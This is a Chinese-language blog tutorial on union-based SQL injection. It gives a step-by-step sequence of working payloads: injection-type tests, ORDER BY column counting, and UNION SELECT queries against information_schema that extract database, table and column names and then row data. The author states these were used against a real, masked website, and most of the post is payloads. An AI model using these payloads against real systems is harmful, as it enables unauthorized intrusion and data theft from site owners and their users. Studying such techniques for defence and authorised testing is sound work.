Web渗透(二)——SQL注入之联合注入

本文需要一定的数据库基础,本文只是简单介绍了一下渗透的思路和payload,具体payload的sql语法,需要自己去看sql代码语言。因为渗透过程中,是真实网页,所以进行打码处理。

一、联合查询注入:

1、判断是什么类型的注入(数值型和字符型)

id=183 and 1=1

若网页照常显示,则该语句没有错误。若网页报错,代表此处可以进行sql注入,并且是字符型注入。字符型注入无非是由 ' 或 " 所包括起来的内容。

此时在 id 参数后再次添加相对应的符号,借助sql的注释符 # 或 --+,将本身后一位的符号进行注释,形成新的语句。如:id=183' and 1=1 #

2、判断有多少个字段(Order  by排序)

id=183 order by 27

借用order by 对字段内的值排列来猜有多少字段。当不存在该字段,则会报错。

报错,所以是26个字段

3、获取数据库名(database()、information_schema.schemata)

借助联合查询对网页的内容进行回显,先查看一下那些字段是显示在哪个位置上

id=1 union select 1,2,3,4,5,6,……,26

确认显示字段7、10、13、21

开始注入,获取数据库名

id=1 union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.schemata

4、获取表名(tables)

仅显示一个数据表名

id=1 union select 1,2,3,4,5,6,database(),8,9,table_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=’查到的库名‘

利用group_concat(),来显示全部的数据表名

id=1 union select 1,2,3,4,5,6,database(),8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=’数据库名‘

5、获取字段名

id=1 union select 1,2,3,4,5,6,database(),8,9,table_name,11,12,group_concat(column_name),14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=’表名‘

6、获取数据

获取第一条数据

id=1 union select 1,2,3,4,5,6,concat(id,table_name,rec_id,updated_at,updater_type,updater_id,updater_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from 表名

id=1 union select mmm1,2,3,4,5,6,group_concat(id,table_name,rec_id,updated_at,updater_type,updater_id,updater_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from 表名

若只回写一条信息:

①使用limit对特定数据的回写

②使用group_concat()对特定列进行全部输出(concat与group_concat的区别是,前者将获取到的数据按元组进行形成新列拥有多条数据,而后者是直接形成一条数据)

  • 26
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值